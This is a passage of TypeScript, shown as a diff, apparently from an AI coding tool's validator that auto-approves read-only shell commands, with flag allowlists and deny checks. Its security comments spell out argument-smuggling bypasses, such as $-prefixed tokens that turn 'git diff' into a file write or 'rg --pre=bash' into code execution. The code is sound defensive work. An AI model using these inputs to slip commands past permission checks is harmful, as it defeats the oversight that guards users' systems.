'-Q': 'none',
|
| 877 |
+
'-R': 'none',
|
| 878 |
+
'-t': 'none',
|
| 879 |
+
'-U': 'none',
|
| 880 |
+
'-V': 'none',
|
| 881 |
+
'-X': 'none',
|
| 882 |
+
'-H': 'none',
|
| 883 |
+
'-E': 'none',
|
| 884 |
+
'-F': 'none',
|
| 885 |
+
'-g': 'none',
|
| 886 |
+
'-i': 'none',
|
| 887 |
+
'-K': 'none',
|
| 888 |
+
'-L': 'none',
|
| 889 |
+
'-o': 'none',
|
| 890 |
+
'-r': 'none',
|
| 891 |
+
'-s': 'none',
|
| 892 |
+
'-S': 'none',
|
| 893 |
+
'-T': 'none',
|
| 894 |
+
'-x': 'none',
|
| 895 |
+
'-A': 'string',
|
| 896 |
+
'-c': 'string',
|
| 897 |
+
'-d': 'string',
|
| 898 |
+
'-e': 'string',
|
| 899 |
+
'-k': 'string',
|
| 900 |
+
'-p': 'string',
|
| 901 |
+
'-u': 'string',
|
| 902 |
+
// OMITTED (writes to disk): -D (device cache file build/update)
|
| 903 |
+
},
|
| 904 |
+
// Block +m (create mount supplement file) — writes to disk.
|
| 905 |
+
// +prefix flags are treated as positional args by validateFlags,
|
| 906 |
+
// so we must catch them here. lsof accepts +m<path> (attached path, no space)
|
| 907 |
+
// with both absolute (+m/tmp/evil) and relative (+mfoo, +m.evil) paths.
|
| 908 |
+
additionalCommandIsDangerousCallback: (_rawCommand, args) =>
|
| 909 |
+
args.some(a => a === '+m' || a.startsWith('+m')),
|
| 910 |
+
},
|
| 911 |
+
|
| 912 |
+
pgrep: {
|
| 913 |
+
safeFlags: {
|
| 914 |
+
'-d': 'string',
|
| 915 |
+
'--delimiter': 'string',
|
| 916 |
+
'-l': 'none',
|
| 917 |
+
'--list-name': 'none',
|
| 918 |
+
'-a': 'none',
|
| 919 |
+
'--list-full': 'none',
|
| 920 |
+
'-v': 'none',
|
| 921 |
+
'--inverse': 'none',
|
| 922 |
+
'-w': 'none',
|
| 923 |
+
'--lightweight': 'none',
|
| 924 |
+
'-c': 'none',
|
| 925 |
+
'--count': 'none',
|
| 926 |
+
'-f': 'none',
|
| 927 |
+
'--full': 'none',
|
| 928 |
+
'-g': 'string',
|
| 929 |
+
'--pgroup': 'string',
|
| 930 |
+
'-G': 'string',
|
| 931 |
+
'--group': 'string',
|
| 932 |
+
'-i': 'none',
|
| 933 |
+
'--ignore-case': 'none',
|
| 934 |
+
'-n': 'none',
|
| 935 |
+
'--newest': 'none',
|
| 936 |
+
'-o': 'none',
|
| 937 |
+
'--oldest': 'none',
|
| 938 |
+
'-O': 'string',
|
| 939 |
+
'--older': 'string',
|
| 940 |
+
'-P': 'string',
|
| 941 |
+
'--parent': 'string',
|
| 942 |
+
'-s': 'string',
|
| 943 |
+
'--session': 'string',
|
| 944 |
+
'-t': 'string',
|
| 945 |
+
'--terminal': 'string',
|
| 946 |
+
'-u': 'string',
|
| 947 |
+
'--euid': 'string',
|
| 948 |
+
'-U': 'string',
|
| 949 |
+
'--uid': 'string',
|
| 950 |
+
'-x': 'none',
|
| 951 |
+
'--exact': 'none',
|
| 952 |
+
'-F': 'string',
|
| 953 |
+
'--pidfile': 'string',
|
| 954 |
+
'-L': 'none',
|
| 955 |
+
'--logpidfile': 'none',
|
| 956 |
+
'-r': 'string',
|
| 957 |
+
'--runstates': 'string',
|
| 958 |
+
'--ns': 'string',
|
| 959 |
+
'--nslist': 'string',
|
| 960 |
+
'--help': 'none',
|
| 961 |
+
'-V': 'none',
|
| 962 |
+
'--version': 'none',
|
| 963 |
+
},
|
| 964 |
+
},
|
| 965 |
+
|
| 966 |
+
tput: {
|
| 967 |
+
safeFlags: {
|
| 968 |
+
'-T': 'string',
|
| 969 |
+
'-V': 'none',
|
| 970 |
+
'-x': 'none',
|
| 971 |
+
// SECURITY: -S (read capability names from stdin) deliberately EXCLUDED.
|
| 972 |
+
// It must NOT be in safeFlags because validateFlags unbundles combined
|
| 973 |
+
// short flags (e.g., -xS → -x + -S), but the callback receives the raw
|
| 974 |
+
// token '-xS' and only checks exact match 'token === "-S"'. Excluding -S
|
| 975 |
+
// from safeFlags ensures validateFlags rejects it (bundled or not) before
|
| 976 |
+
// the callback runs. The callback's -S check is defense-in-depth.
|
| 977 |
+
},
|
| 978 |
+
additionalCommandIsDangerousCallback: (
|
| 979 |
+
_rawCommand: string,
|
| 980 |
+
args: string[],
|
| 981 |
+
) => {
|
| 982 |
+
// Capabilities that modify terminal state or could be harmful.
|
| 983 |
+
// init/reset run iprog (arbitrary code from terminfo) and modify tty settings.
|
| 984 |
+
// rs1/rs2/rs3/is1/is2/is3 are the individual reset/init sequences that
|
| 985 |
+
// init/reset invoke internally — rs1 sends ESC c (full terminal reset).
|
| 986 |
+
// clear erases scrollback (evidence destruction). mc5/mc5p activate media copy
|
| 987 |
+
// (redirect output to printer device). smcup/rmcup manipulate screen buffer.
|
| 988 |
+
// pfkey/pfloc/pfx/pfxl program function keys — pfloc executes strings locally.
|
| 989 |
+
// rf is reset file (analogous to if/init_file).
|
| 990 |
+
const DANGEROUS_CAPABILITIES = new Set([
|
| 991 |
+
'init',
|
| 992 |
+
'reset',
|
| 993 |
+
'rs1',
|
| 994 |
+
'rs2',
|
| 995 |
+
'rs3',
|
| 996 |
+
'is1',
|
| 997 |
+
'is2',
|
| 998 |
+
'is3',
|
| 999 |
+
'iprog',
|
| 1000 |
+
'if',
|
| 1001 |
+
'rf',
|
| 1002 |
+
'clear',
|
| 1003 |
+
'flash',
|
| 1004 |
+
'mc0',
|
| 1005 |
+
'mc4',
|
| 1006 |
+
'mc5',
|
| 1007 |
+
'mc5i',
|
| 1008 |
+
'mc5p',
|
| 1009 |
+
'pfkey',
|
| 1010 |
+
'pfloc',
|
| 1011 |
+
'pfx',
|
| 1012 |
+
'pfxl',
|
| 1013 |
+
'smcup',
|
| 1014 |
+
'rmcup',
|
| 1015 |
+
])
|
| 1016 |
+
const flagsWithArgs = new Set(['-T'])
|
| 1017 |
+
let i = 0
|
| 1018 |
+
let afterDoubleDash = false
|
| 1019 |
+
while (i < args.length) {
|
| 1020 |
+
const token = args[i]!
|
| 1021 |
+
if (token === '--') {
|
| 1022 |
+
afterDoubleDash = true
|
| 1023 |
+
i++
|
| 1024 |
+
} else if (!afterDoubleDash && token.startsWith('-')) {
|
| 1025 |
+
// Defense-in-depth: block -S even if it somehow passes validateFlags
|
| 1026 |
+
if (token === '-S') return true
|
| 1027 |
+
// Also check for -S bundled with other flags (e.g., -xS)
|
| 1028 |
+
if (
|
| 1029 |
+
!token.startsWith('--') &&
|
| 1030 |
+
token.length > 2 &&
|
| 1031 |
+
token.includes('S')
|
| 1032 |
+
)
|
| 1033 |
+
return true
|
| 1034 |
+
if (flagsWithArgs.has(token)) {
|
| 1035 |
+
i += 2
|
| 1036 |
+
} else {
|
| 1037 |
+
i++
|
| 1038 |
+
}
|
| 1039 |
+
} else {
|
| 1040 |
+
if (DANGEROUS_CAPABILITIES.has(token)) return true
|
| 1041 |
+
i++
|
| 1042 |
+
}
|
| 1043 |
+
}
|
| 1044 |
+
return false
|
| 1045 |
+
},
|
| 1046 |
+
},
|
| 1047 |
+
|
| 1048 |
+
// ss — socket statistics (iproute2). Read-only query tool equivalent to netstat.
|
| 1049 |
+
// SECURITY: -K/--kill (forcibly close sockets) and -D/--diag (dump raw data to file)
|
| 1050 |
+
// are deliberately excluded. -F/--filter (read filter from file) also excluded.
|
| 1051 |
+
ss: {
|
| 1052 |
+
safeFlags: {
|
| 1053 |
+
'-h': 'none',
|
| 1054 |
+
'--help': 'none',
|
| 1055 |
+
'-V': 'none',
|
| 1056 |
+
'--version': 'none',
|
| 1057 |
+
'-n': 'none',
|
| 1058 |
+
'--numeric': 'none',
|
| 1059 |
+
'-r': 'none',
|
| 1060 |
+
'--resolve': 'none',
|
| 1061 |
+
'-a': 'none',
|
| 1062 |
+
'--all': 'none',
|
| 1063 |
+
'-l': 'none',
|
| 1064 |
+
'--listening': 'none',
|
| 1065 |
+
'-o': 'none',
|
| 1066 |
+
'--options': 'none',
|
| 1067 |
+
'-e': 'none',
|
| 1068 |
+
'--extended': 'none',
|
| 1069 |
+
'-m': 'none',
|
| 1070 |
+
'--memory': 'none',
|
| 1071 |
+
'-p': 'none',
|
| 1072 |
+
'--processes': 'none',
|
| 1073 |
+
'-i': 'none',
|
| 1074 |
+
'--info': 'none',
|
| 1075 |
+
'-s': 'none',
|
| 1076 |
+
'--summary': 'none',
|
| 1077 |
+
'-4': 'none',
|
| 1078 |
+
'--ipv4': 'none',
|
| 1079 |
+
'-6': 'none',
|
| 1080 |
+
'--ipv6': 'none',
|
| 1081 |
+
'-0': 'none',
|
| 1082 |
+
'--packet': 'none',
|
| 1083 |
+
'-t': 'none',
|
| 1084 |
+
'--tcp': 'none',
|
| 1085 |
+
'-M': 'none',
|
| 1086 |
+
'--mptcp': 'none',
|
| 1087 |
+
'-S': 'none',
|
| 1088 |
+
'--sctp': 'none',
|
| 1089 |
+
'-u': 'none',
|
| 1090 |
+
'--udp': 'none',
|
| 1091 |
+
'-d': 'none',
|
| 1092 |
+
'--dccp': 'none',
|
| 1093 |
+
'-w': 'none',
|
| 1094 |
+
'--raw': 'none',
|
| 1095 |
+
'-x': 'none',
|
| 1096 |
+
'--unix': 'none',
|
| 1097 |
+
'--tipc': 'none',
|
| 1098 |
+
'--vsock': 'none',
|
| 1099 |
+
'-f': 'string',
|
| 1100 |
+
'--family': 'string',
|
| 1101 |
+
'-A': 'string',
|
| 1102 |
+
'--query': 'string',
|
| 1103 |
+
'--socket': 'string',
|
| 1104 |
+
'-Z': 'none',
|
| 1105 |
+
'--context': 'none',
|
| 1106 |
+
'-z': 'none',
|
| 1107 |
+
'--contexts': 'none',
|
| 1108 |
+
// SECURITY: -N/--net EXCLUDED — performs setns(), unshare(), mount(), umount()
|
| 1109 |
+
// to switch network namespace. While isolated to forked process, too invasive.
|
| 1110 |
+
'-b': 'none',
|
| 1111 |
+
'--bpf': 'none',
|
| 1112 |
+
'-E': 'none',
|
| 1113 |
+
'--events': 'none',
|
| 1114 |
+
'-H': 'none',
|
| 1115 |
+
'--no-header': 'none',
|
| 1116 |
+
'-O': 'none',
|
| 1117 |
+
'--oneline': 'none',
|
| 1118 |
+
'--tipcinfo': 'none',
|
| 1119 |
+
'--tos': 'none',
|
| 1120 |
+
'--cgroup': 'none',
|
| 1121 |
+
'--inet-sockopt': 'none',
|
| 1122 |
+
// SECURITY: -K/--kill EXCLUDED — forcibly closes sockets
|
| 1123 |
+
// SECURITY: -D/--diag EXCLUDED — dumps raw TCP data to a file
|
| 1124 |
+
// SECURITY: -F/--filter EXCLUDED — reads filter expressions from a file
|
| 1125 |
+
},
|
| 1126 |
+
},
|
| 1127 |
+
|
| 1128 |
+
// fd/fdfind — fast file finder (fd-find). Read-only search tool.
|
| 1129 |
+
// SECURITY: -x/--exec (execute command per result) and -X/--exec-batch
|
| 1130 |
+
// (execute command with all results) are deliberately excluded.
|
| 1131 |
+
fd: { safeFlags: { ...FD_SAFE_FLAGS } },
|
| 1132 |
+
// fdfind is the Debian/Ubuntu package name for fd — same binary, same flags
|
| 1133 |
+
fdfind: { safeFlags: { ...FD_SAFE_FLAGS } },
|
| 1134 |
+
|
| 1135 |
+
...PYRIGHT_READ_ONLY_COMMANDS,
|
| 1136 |
+
...DOCKER_READ_ONLY_COMMANDS,
|
| 1137 |
+
}
|
| 1138 |
+
|
| 1139 |
+
// gh commands are ant-only since they make network requests, which goes against
|
| 1140 |
+
// the read-only validation principle of no network access
|
| 1141 |
+
const ANT_ONLY_COMMAND_ALLOWLIST: Record<string, CommandConfig> = {
|
| 1142 |
+
// All gh read-only commands from shared validation map
|
| 1143 |
+
...GH_READ_ONLY_COMMANDS,
|
| 1144 |
+
// aki — Anthropic internal knowledge-base search CLI.
|
| 1145 |
+
// Network read-only (same policy as gh). --audit-csv omitted: writes to disk.
|
| 1146 |
+
aki: {
|
| 1147 |
+
safeFlags: {
|
| 1148 |
+
'-h': 'none',
|
| 1149 |
+
'--help': 'none',
|
| 1150 |
+
'-k': 'none',
|
| 1151 |
+
'--keyword': 'none',
|
| 1152 |
+
'-s': 'none',
|
| 1153 |
+
'--semantic': 'none',
|
| 1154 |
+
'--no-adaptive': 'none',
|
| 1155 |
+
'-n': 'number',
|
| 1156 |
+
'--limit': 'number',
|
| 1157 |
+
'-o': 'number',
|
| 1158 |
+
'--offset': 'number',
|
| 1159 |
+
'--source': 'string',
|
| 1160 |
+
'--exclude-source': 'string',
|
| 1161 |
+
'-a': 'string',
|
| 1162 |
+
'--after': 'string',
|
| 1163 |
+
'-b': 'string',
|
| 1164 |
+
'--before': 'string',
|
| 1165 |
+
'--collection': 'string',
|
| 1166 |
+
'--drive': 'string',
|
| 1167 |
+
'--folder': 'string',
|
| 1168 |
+
'--descendants': 'none',
|
| 1169 |
+
'-m': 'string',
|
| 1170 |
+
'--meta': 'string',
|
| 1171 |
+
'-t': 'string',
|
| 1172 |
+
'--threshold': 'string',
|
| 1173 |
+
'--kw-weight': 'string',
|
| 1174 |
+
'--sem-weight': 'string',
|
| 1175 |
+
'-j': 'none',
|
| 1176 |
+
'--json': 'none',
|
| 1177 |
+
'-c': 'none',
|
| 1178 |
+
'--chunk': 'none',
|
| 1179 |
+
'--preview': 'none',
|
| 1180 |
+
'-d': 'none',
|
| 1181 |
+
'--full-doc': 'none',
|
| 1182 |
+
'-v': 'none',
|
| 1183 |
+
'--verbose': 'none',
|
| 1184 |
+
'--stats': 'none',
|
| 1185 |
+
'-S': 'number',
|
| 1186 |
+
'--summarize': 'number',
|
| 1187 |
+
'--explain': 'none',
|
| 1188 |
+
'--examine': 'string',
|
| 1189 |
+
'--url': 'string',
|
| 1190 |
+
'--multi-turn': 'number',
|
| 1191 |
+
'--multi-turn-model': 'string',
|
| 1192 |
+
'--multi-turn-context': 'string',
|
| 1193 |
+
'--no-rerank': 'none',
|
| 1194 |
+
'--audit': 'none',
|
| 1195 |
+
'--local': 'none',
|
| 1196 |
+
'--staging': 'none',
|
| 1197 |
+
},
|
| 1198 |
+
},
|
| 1199 |
+
}
|
| 1200 |
+
|
| 1201 |
+
function getCommandAllowlist(): Record<string, CommandConfig> {
|
| 1202 |
+
let allowlist: Record<string, CommandConfig> = COMMAND_ALLOWLIST
|
| 1203 |
+
// On Windows, xargs can be used as a data-to-code bridge: if a file contains
|
| 1204 |
+
// a UNC path, `cat file | xargs cat` feeds that path to cat, triggering SMB
|
| 1205 |
+
// resolution. Since the UNC path is in file contents (not the command string),
|
| 1206 |
+
// regex-based detection cannot catch this.
|
| 1207 |
+
if (getPlatform() === 'windows') {
|
| 1208 |
+
const { xargs: _, ...rest } = allowlist
|
| 1209 |
+
allowlist = rest
|
| 1210 |
+
}
|
| 1211 |
+
if (process.env.USER_TYPE === 'ant') {
|
| 1212 |
+
return { ...allowlist, ...ANT_ONLY_COMMAND_ALLOWLIST }
|
| 1213 |
+
}
|
| 1214 |
+
return allowlist
|
| 1215 |
+
}
|
| 1216 |
+
|
| 1217 |
+
/**
|
| 1218 |
+
* Commands that are safe to use as xargs targets for auto-approval.
|
| 1219 |
+
*
|
| 1220 |
+
* SECURITY: Only add a command to this list if it has NO flags that can:
|
| 1221 |
+
* 1. Write to files (e.g., find's -fprint, sed's -i)
|
| 1222 |
+
* 2. Execute code (e.g., find's -exec, awk's system(), perl's -e)
|
| 1223 |
+
* 3. Make network requests
|
| 1224 |
+
*
|
| 1225 |
+
* These commands must be purely read-only utilities. When xargs uses one of
|
| 1226 |
+
* these as a target, we stop validating flags after the target command
|
| 1227 |
+
* (see the `break` in isCommandSafeViaFlagParsing), so the command itself
|
| 1228 |
+
* must not have ANY dangerous flags, not just a safe subset.
|
| 1229 |
+
*
|
| 1230 |
+
* Each command was verified by checking its man page for dangerous capabilities.
|
| 1231 |
+
*/
|
| 1232 |
+
const SAFE_TARGET_COMMANDS_FOR_XARGS = [
|
| 1233 |
+
'echo', // Output only, no dangerous flags
|
| 1234 |
+
'printf', // xargs runs /usr/bin/printf (binary), not bash builtin — no -v support
|
| 1235 |
+
'wc', // Read-only counting, no dangerous flags
|
| 1236 |
+
'grep', // Read-only search, no dangerous flags
|
| 1237 |
+
'head', // Read-only, no dangerous flags
|
| 1238 |
+
'tail', // Read-only (including -f follow), no dangerous flags
|
| 1239 |
+
]
|
| 1240 |
+
|
| 1241 |
+
/**
|
| 1242 |
+
* Unified command validation function that replaces individual validator functions.
|
| 1243 |
+
* Uses declarative configuration from COMMAND_ALLOWLIST to validate commands and their flags.
|
| 1244 |
+
* Handles combined flags, argument validation, and shell quoting bypass detection.
|
| 1245 |
+
*/
|
| 1246 |
+
export function isCommandSafeViaFlagParsing(command: string): boolean {
|
| 1247 |
+
// Parse the command to get individual tokens using shell-quote for accuracy
|
| 1248 |
+
// Handle glob operators by converting them to strings, they don't matter from the perspective
|
| 1249 |
+
// of this function
|
| 1250 |
+
const parseResult = tryParseShellCommand(command, env => `$${env}`)
|
| 1251 |
+
if (!parseResult.success) return false
|
| 1252 |
+
|
| 1253 |
+
const parsed = parseResult.tokens.map(token => {
|
| 1254 |
+
if (typeof token !== 'string') {
|
| 1255 |
+
token = token as { op: 'glob'; pattern: string }
|
| 1256 |
+
if (token.op === 'glob') {
|
| 1257 |
+
return token.pattern
|
| 1258 |
+
}
|
| 1259 |
+
}
|
| 1260 |
+
return token
|
| 1261 |
+
})
|
| 1262 |
+
|
| 1263 |
+
// If there are operators (pipes, redirects, etc.), it's not a simple command.
|
| 1264 |
+
// Breaking commands down into their constituent parts is handled upstream of
|
| 1265 |
+
// this function, so we reject anything with operators here.
|
| 1266 |
+
const hasOperators = parsed.some(token => typeof token !== 'string')
|
| 1267 |
+
if (hasOperators) {
|
| 1268 |
+
return false
|
| 1269 |
+
}
|
| 1270 |
+
|
| 1271 |
+
// Now we know all tokens are strings
|
| 1272 |
+
const tokens = parsed as string[]
|
| 1273 |
+
|
| 1274 |
+
if (tokens.length === 0) {
|
| 1275 |
+
return false
|
| 1276 |
+
}
|
| 1277 |
+
|
| 1278 |
+
// Find matching command configuration
|
| 1279 |
+
let commandConfig: CommandConfig | undefined
|
| 1280 |
+
let commandTokens: number = 0
|
| 1281 |
+
|
| 1282 |
+
// Check for multi-word commands first (e.g., "git diff", "git stash list")
|
| 1283 |
+
const allowlist = getCommandAllowlist()
|
| 1284 |
+
for (const [cmdPattern] of Object.entries(allowlist)) {
|
| 1285 |
+
const cmdTokens = cmdPattern.split(' ')
|
| 1286 |
+
if (tokens.length >= cmdTokens.length) {
|
| 1287 |
+
let matches = true
|
| 1288 |
+
for (let i = 0; i < cmdTokens.length; i++) {
|
| 1289 |
+
if (tokens[i] !== cmdTokens[i]) {
|
| 1290 |
+
matches = false
|
| 1291 |
+
break
|
| 1292 |
+
}
|
| 1293 |
+
}
|
| 1294 |
+
if (matches) {
|
| 1295 |
+
commandConfig = allowlist[cmdPattern]
|
| 1296 |
+
commandTokens = cmdTokens.length
|
| 1297 |
+
break
|
| 1298 |
+
}
|
| 1299 |
+
}
|
| 1300 |
+
}
|
| 1301 |
+
|
| 1302 |
+
if (!commandConfig) {
|
| 1303 |
+
return false // Command not in allowlist
|
| 1304 |
+
}
|
| 1305 |
+
|
| 1306 |
+
// Special handling for git ls-remote to reject URLs that could lead to data exfiltration
|
| 1307 |
+
if (tokens[0] === 'git' && tokens[1] === 'ls-remote') {
|
| 1308 |
+
// Check if any argument looks like a URL or remote specification
|
| 1309 |
+
for (let i = 2; i < tokens.length; i++) {
|
| 1310 |
+
const token = tokens[i]
|
| 1311 |
+
if (token && !token.startsWith('-')) {
|
| 1312 |
+
// Reject HTTP/HTTPS URLs
|
| 1313 |
+
if (token.includes('://')) {
|
| 1314 |
+
return false
|
| 1315 |
+
}
|
| 1316 |
+
// Reject SSH URLs like git@github.com:user/repo.git
|
| 1317 |
+
if (token.includes('@') || token.includes(':')) {
|
| 1318 |
+
return false
|
| 1319 |
+
}
|
| 1320 |
+
// Reject variable references
|
| 1321 |
+
if (token.includes('$')) {
|
| 1322 |
+
return false
|
| 1323 |
+
}
|
| 1324 |
+
}
|
| 1325 |
+
}
|
| 1326 |
+
}
|
| 1327 |
+
|
| 1328 |
+
// SECURITY: Reject ANY token containing `$` (variable expansion). The
|
| 1329 |
+
// `env => \`$${env}\`` callback at line 825 preserves `$VAR` as LITERAL TEXT
|
| 1330 |
+
// in tokens, but bash expands it at runtime (unset vars → empty string).
|
| 1331 |
+
// This parser differential defeats BOTH validateFlags and callbacks:
|
| 1332 |
+
//
|
| 1333 |
+
// (1) `$VAR`-prefix defeats validateFlags `startsWith('-')` check:
|
| 1334 |
+
// `git diff "$Z--output=/tmp/pwned"` → token `$Z--output=/tmp/pwned`
|
| 1335 |
+
// (starts with `$`) falls through as positional at ~:1730. Bash runs
|
| 1336 |
+
// `git diff --output=/tmp/pwned`. ARBITRARY FILE WRITE, zero perms.
|
| 1337 |
+
//
|
| 1338 |
+
// (2) `$VAR`-prefix → RCE via `rg --pre`:
|
| 1339 |
+
// `rg . "$Z--pre=bash" FILE` → executes `bash FILE`. rg's config has
|
| 1340 |
+
// no regex and no callback. SINGLE-STEP ARBITRARY CODE EXECUTION.
|
| 1341 |
+
//
|
| 1342 |
+
// (3) `$VAR`-infix defeats additionalCommandIsDangerousCallback regex:
|
| 1343 |
+
// `ps ax"$Z"e` → token `ax$Ze`. The ps callback regex
|
| 1344 |
+
// `/^[a-zA-Z]*e[a-zA-Z]*$/` fails on `$` → "not dangerous". Bash runs
|
| 1345 |
+
// `ps axe` → env vars for all processes. A fix limited to `$`-PREFIXED
|
| 1346 |
+
// tokens would NOT close this.
|
| 1347 |
+
//
|
| 1348 |
+
// We check ALL tokens after the command prefix. Any `$` means we cannot
|
| 1349 |
+
// determine the runtime token value, so we cannot verify read-only safety.
|
| 1350 |
+
// This check must run BEFORE validateFlags and BEFORE callbacks.
|
| 1351 |
+
for (let i = commandTokens; i < tokens.length; i++) {
|
| 1352 |
+
const token = tokens[i]
|
| 1353 |
+
if (!token) continue
|
| 1354 |
+
// Reject any token containing $ (variable expansion)
|
| 1355 |
+
if (token.includes('$')) {
|
| 1356 |
+
return false
|
| 1357 |
+
}
|
| 1358 |
+
// Reject tokens with BOTH `{` and `,` (brace expansion obfuscation).
|
| 1359 |
+
// `git diff {@'{'0},--output=/tmp/pwned}` → shell-quote strips quotes
|
| 1360 |
+
// → token `{@{0},--output=/tmp/pwned}` has `{` + `,` → brace expansion.
|
| 1361 |
+
// This is defense-in-depth with validateBraceExpansion in bashSecurity.ts.
|
| 1362 |
+
// We require BOTH `{` and `,` to avoid false positives on legitimate
|
| 1363 |
+
// patterns: `stash@{0}` (git ref, has `{` no `,`), `{{.State}}` (Go
|
| 1364 |
+
// template, no `,`), `prefix-{}-suffix` (xargs, no `,`). Sequence form
|
| 1365 |
+
// `{1..5}` also needs checking (has `{` + `..`).
|
| 1366 |
+
if (token.includes('{') && (token.includes(',') || token.includes('..'))) {
|
| 1367 |
+
return false
|
| 1368 |
+
}
|
| 1369 |
+
}
|
| 1370 |
+
|
| 1371 |
+
// Validate flags starting after the command tokens
|
| 1372 |
+
if (
|
| 1373 |
+
!validateFlags(tokens, commandTokens, commandConfig, {
|
| 1374 |
+
commandName: tokens[0],
|
| 1375 |
+
rawCommand: command,
|
| 1376 |
+
xargsTargetCommands:
|
| 1377 |
+
tokens[0] === 'xargs' ? SAFE_TARGET_COMMANDS_FOR_XARGS : undefined,
|
| 1378 |
+
})
|
| 1379 |
+
) {
|
| 1380 |
+
return false
|
| 1381 |
+
}
|
| 1382 |
+
|
| 1383 |
+
if (commandConfig.regex && !commandConfig.regex.test(command)) {
|
| 1384 |
+
return false
|
| 1385 |
+
}
|
| 1386 |
+
if (!commandConfig.regex && /`/.test(command)) {
|
| 1387 |
+
return false
|
| 1388 |
+
}
|
| 1389 |
+
// Block newlines and carriage returns in grep/rg patterns as they can be used for injection
|
| 1390 |
+
if (
|
| 1391 |
+
!commandConfig.regex &&
|
| 1392 |
+
(tokens[0] === 'rg' || tokens[0] === 'grep') &&
|
| 1393 |
+
/[\n\r]/.test(command)
|
| 1394 |
+
) {
|
| 1395 |
+
return false
|
| 1396 |
+
}
|
| 1397 |
+
if (
|
| 1398 |
+
commandConfig.additionalCommandIsDangerousCallback &&
|
| 1399 |
+
commandConfig.additionalCommandIsDangerousCallback(
|
| 1400 |
+
command,
|
| 1401 |
+
tokens.slice(commandTokens),
|
| 1402 |
+
)
|
| 1403 |
+
) {
|
| 1404 |
+
return false
|
| 1405 |
+
}
|
| 1406 |
+
|
| 1407 |
+
return true
|
| 1408 |
+
}
|
| 1409 |
+
|
| 1410 |
+
/**
|
| 1411 |
+
* Creates a regex pattern that matches safe invocations of a command.
|
| 1412 |
+
*
|
| 1413 |
+
* The regex ensures commands are invoked safely by blocking:
|
| 1414 |
+
* - Shell metacharacters that could lead to command injection or redirection
|
| 1415 |
+
* - Command substitution via backticks or $()
|
| 1416 |
+
* - Variable expansion that could contain malicious payloads
|
| 1417 |
+
* - Environment variable assignment bypasses (command=value)
|
| 1418 |
+
*
|
| 1419 |
+
* @param command The command name (e.g., 'date', 'npm list', 'ip addr')
|
| 1420 |
+
* @returns RegExp that matches safe invocations of the command
|
| 1421 |
+
*/
|
| 1422 |
+
function makeRegexForSafeCommand(command: string): RegExp {
|
| 1423 |
+
// Create regex pattern: /^command(?:\s|$)[^<>()$`|{}&;\n\r]*$/
|
| 1424 |
+
return new RegExp(`^${command}(?:\\s|$)[^<>()$\`|{}&;\\n\\r]*$`)
|
| 1425 |
+
}
|
| 1426 |
+
|
| 1427 |
+
// Simple commands that are safe for execution (converted to regex patterns using makeRegexForSafeCommand)
|
| 1428 |
+
// WARNING: If you are adding new commands here, be very careful to ensure
|
| 1429 |
+
// they are truly safe. This includes ensuring:
|
| 1430 |
+
// 1. That they don't have any flags that allow file writing or command execution
|
| 1431 |
+
// 2. Use makeRegexForSafeCommand() to ensure proper regex pattern creation
|
| 1432 |
+
const READONLY_COMMANDS = [
|
| 1433 |
+
// Cross-platform commands from shared validation
|
| 1434 |
+
...EXTERNAL_READONLY_COMMANDS,
|
| 1435 |
+
|
| 1436 |
+
// Unix/bash-specific read-only commands (not shared because they don't exist in PowerShell)
|
| 1437 |
+
|
| 1438 |
+
// Time and date
|
| 1439 |
+
'cal',
|
| 1440 |
+
'uptime',
|
| 1441 |
+
|
| 1442 |
+
// File content viewing (relative paths handled separately)
|
| 1443 |
+
'cat',
|
| 1444 |
+
'head',
|
| 1445 |
+
'tail',
|
| 1446 |
+
'wc',
|
| 1447 |
+
'stat',
|
| 1448 |
+
'strings',
|
| 1449 |
+
'hexdump',
|
| 1450 |
+
'od',
|
| 1451 |
+
'nl',
|
| 1452 |
+
|
| 1453 |
+
// System info
|
| 1454 |
+
'id',
|
| 1455 |
+
'uname',
|
| 1456 |
+
'free',
|
| 1457 |
+
'df',
|
| 1458 |
+
'du',
|
| 1459 |
+
'locale',
|
| 1460 |
+
'groups',
|
| 1461 |
+
'nproc',
|
| 1462 |
+
|
| 1463 |
+
// Path information
|
| 1464 |
+
'basename',
|
| 1465 |
+
'dirname',
|
| 1466 |
+
'realpath',
|
| 1467 |
+
|
| 1468 |
+
// Text processing
|
| 1469 |
+
'cut',
|
| 1470 |
+
'paste',
|
| 1471 |
+
'tr',
|
| 1472 |
+
'column',
|
| 1473 |
+
'tac', // Reverse cat — displays file contents in reverse line order
|
| 1474 |
+
'rev', // Reverse characters in each line
|
| 1475 |
+
'fold', // Wrap lines to specified width
|
| 1476 |
+
'expand', // Convert tabs to spaces
|
| 1477 |
+
'unexpand', // Convert spaces to tabs
|
| 1478 |
+
'fmt', // Simple text formatter — output to stdout only
|
| 1479 |
+
'comm', // Compare sorted files line by line
|
| 1480 |
+
'cmp', // Byte-by-byte file comparison
|
| 1481 |
+
'numfmt', // Number format conversion
|
| 1482 |
+
|
| 1483 |
+
// Path information (additional)
|
| 1484 |
+
'readlink', // Resolve symlinks — displays target of symbolic link
|
| 1485 |
+
|
| 1486 |
+
// File comparison
|
| 1487 |
+
'diff',
|
| 1488 |
+
|
| 1489 |
+
// true and false, used to silence or create errors
|
| 1490 |
+
'true',
|
| 1491 |
+
'false',
|
| 1492 |
+
|
| 1493 |
+
// Misc. safe commands
|
| 1494 |
+
'sleep',
|
| 1495 |
+
'which',
|
| 1496 |
+
'type',
|
| 1497 |
+
'expr', // Evaluate expressions (arithmetic, string matching)
|
| 1498 |
+
'test', // Conditional evaluation (file checks, comparisons)
|
| 1499 |
+
'getconf', // Get system configuration values
|
| 1500 |
+
'seq', // Generate number sequences
|
| 1501 |
+
'tsort', // Topological sort
|
| 1502 |
+
'pr', // Paginate files for printing
|
| 1503 |
+
]
|
| 1504 |
+
|
| 1505 |
+
// Complex commands that require custom regex patterns
|
| 1506 |
+
// Warning: If possible, avoid adding new regexes here and prefer using COMMAND_ALLOWLIST
|
| 1507 |
+
// instead. This allowlist-based approach to CLI flags is more secure and avoids
|
| 1508 |
+
// vulns coming from gnu getopt_long.
|
| 1509 |
+
const READONLY_COMMAND_REGEXES = new Set([
|
| 1510 |
+
// Convert simple commands to regex patterns using makeRegexForSafeCommand
|
| 1511 |
+
...READONLY_COMMANDS.map(makeRegexForSafeCommand),
|
| 1512 |
+
|
| 1513 |
+
// Echo that doesn't execute commands or use variables
|
| 1514 |
+
// Allow newlines in single quotes (safe) but not in double quotes (could be dangerous with variable expansion)
|
| 1515 |
+
// Also allow optional 2>&1 stderr redirection at the end
|
| 1516 |
+
